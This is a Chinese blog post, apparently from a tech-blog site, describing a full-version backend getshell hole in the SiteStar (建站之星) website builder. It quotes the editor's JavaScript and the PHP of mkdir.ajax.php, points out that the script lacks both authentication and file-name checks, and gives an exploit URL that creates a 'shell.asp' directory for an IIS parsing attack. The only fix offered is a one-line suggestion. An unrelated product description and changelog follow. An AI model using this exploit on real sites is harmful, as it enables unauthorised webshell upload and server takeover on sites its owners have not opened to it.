建站之星php 漏洞,建站之星全版本后台通杀getshell的解析与解决方法

找到一个fck改的编辑器,准备用解析洞日之。

90a5747689f848bf6b975800ada79d3e.png

然后发现无法这玩意直接过滤了“.”创建不了解析文件夹,

反复试了几次之后发现这个过滤是有延迟的。大概在0.1秒后 才会去掉。于是果断查看源码看函数:

复制代码代码如下:

function addSort(obj) {

$(obj).parent().find(‘span’).css(‘display’,'inline-block’);

$(obj).css(‘display’,'none’);

$(obj).parent().find(‘span > input:first’).focus();

}

function newDir(obj) {

var pth = $(obj).prev().attr(‘value’);

var basepth = $(‘#gtcurdir option:selected’).text();

if (pth.replace(/^\s+|\s+$/g,”).length == 0) { //这里对定义的PTH变量进行了判断,(“/^\s+|\s+$/g,”),思路是 判断如果文本框内不算以上字符 长度等于0则继续执行.

alert(“请输入字符”);

$(obj).prev().focus();

return false;

} else {

$.ajax({

type : “GET”,

dataType : “text”,

url : “../mkdir.ajax.php?basedir=”+basepth+”&newdir=”+pth,//这里直接发送url 基本类型+新文件夹名+文件夹名。

success : function(response) {

switch (response) {

case ’0′:

$(obj).prev().val(”);

$(obj).parent().css(‘display’,'none’);

$(obj).parent().parent().find(‘a’).css(‘display’,'inline-block’);

$(‘’+basepth+pth+’/’).appendTo(‘#gtcurdir’);

break;

case ‘-1′:

alert(“文件夹已存在!”);

$(obj).prev().focus();

break;

case ‘-2′:

alert(“新建文件夹失败!”);

break;

}

},

error : function(response) {

alert(“请求失败!”);

return false;

}

});

}

看完函数 发现有一个很有意思的地方:

url : “../mkdir.ajax.php?basedir=”+basepth+”&newdir=”+pth,这里直接post出去命令。那么我们可否构造呢

于是查看了这个脚本的源码:

复制代码代码如下:

header(‘Conten-type:text/html; charset=UTF-8′);

define(‘SSFCK’, str_replace(“\\”, “/”, dirname(__FILE__)));

$adminRoot = str_replace(“\\”, “/”, substr(SSFCK, 0, -10));

define(‘SSROOT’, str_replace(“\\”, “/”, realpath($adminRoot.”/..”)));

$err = ’0′;

$basedir = trim($_GET['basedir']);//这里直接GET来自前面那个urlpost来的变量

$newdir = trim($_GET['newdir']);

// is or not exist dir

$hd = dir(“../../”.$basedir);

while(($path = $hd->read()) !== false) {

if ($path == $newdir) {

$err = ‘-1′;

break;

} else continue;

}

if ($err != ‘-1′) {

if (!mkdir(“../../{$basedir}{$newdir}”, 0755)) $err = ‘-2′;

}

echo $err;

?>

程序员果然天然呆,不验证登陆,这里不验证文件名,任凭urlpost任意信息。

到这里知道了程序漏洞所在。附上exp:

http:// /admin/fckeditor/mkdir.ajax.php?basedir=upload/image/&newdir=shell.asp

返回0则表示成功。

修复方案:

对mkdir.ajax.php加验证

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
美橙建站之星前后历经三年时间进行开发,该系统能让用户在短时间内迅速架设属于自己公司的企业网站。自助建站系统易学易懂,用户只需会上网、不需学习编程及任何语言,只要使用该智能建站系统平台,只要会打字,即可在线直接完成网站建站所有工作。 建站之星SiteStar 2.7 build 140505 更新日志: 1、修复用户从产品购买入口到用户注册页面时,没有自定义会员注册项表单. 2、修复站点背景设置>>背景对齐,选择下一个状态,前一个状态的结果无法消失. 3、修复不存在页面或路径不能定向. 4、更改支付宝跳转方式. 5、修复用户站内短信无法查看. 6、修复自定义模块下,自定义页面内容分页无效. 7、修复自定义模式下,系统默认自定义页面,不能预览,不能分页.. 8、修复自定义模式下,用户设置自定义文章页面报错. 9、修复自定义模式下,文章、产品详情页不显示设置的SEO内容. 10、修复自定义模式下购物车模块链接错误. 11、修复首页加载文章和产品模块出现access violation error. 12、修复产品详情页-点击加入购物车-点击现在订购跳转到了空白页面,提示:access violation error! 13、修复默认模板搜索表单样式错位. 14、修复文件管理器中重命名漏洞. 15、修复公告模块,滚动不正常. 16、修复登录后,不能获取购物车在未登录前产品信息. 17、修复flash幻灯显示模块上传图片路径不正确. 18、修复上传安全漏洞. 19、修复用户信息漏洞. 20、修复安装程序Getshell漏洞. 21、修复本地包含,邮件发送注入,用户注册过滤漏洞. 22、修复安装程序初始安装报错. 23、修复加入购物车再注册会员或登录会员后提交订单提示:非法id. 运行系统环境要求: 推荐配置: Linux + Apache + Mysql + PHP 操作系统: Linux (支持Unix/FreeBSD/Solaris/Windows NT(2000/2003)等操作系统) WEB服务器: Apache (支持httpd, Zeus, IIS 等WEB服务器) 数据库: Mysql (5.0 或者更高版本) 程序支持: PHP 5.0及以上版本 (推荐使用5.2系列最新版本) 建站之星优点: 建站时间短 手工建站:耗时较长至少半个月至一个月以上 建站之星建站时间非常短仅需两三天,全程自己操作。 改版方便 手工建站:手工建站若要改版还需向建站公司缴纳改版费用。 建站之星:智能建站赠送多套模板,要改版仅需点下鼠标即可完成,无需任何费用。 建站快捷 手工建站:需要美工设计,上传源代码等繁杂操作。 建站之星:在线购买,实时开通,免费赠送3级域名,只要短短2步设置,就能实现在线访问。 节省费用 手工建站建站至少需要2000元以上 建站之星:仅需几百元,轻松建站
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值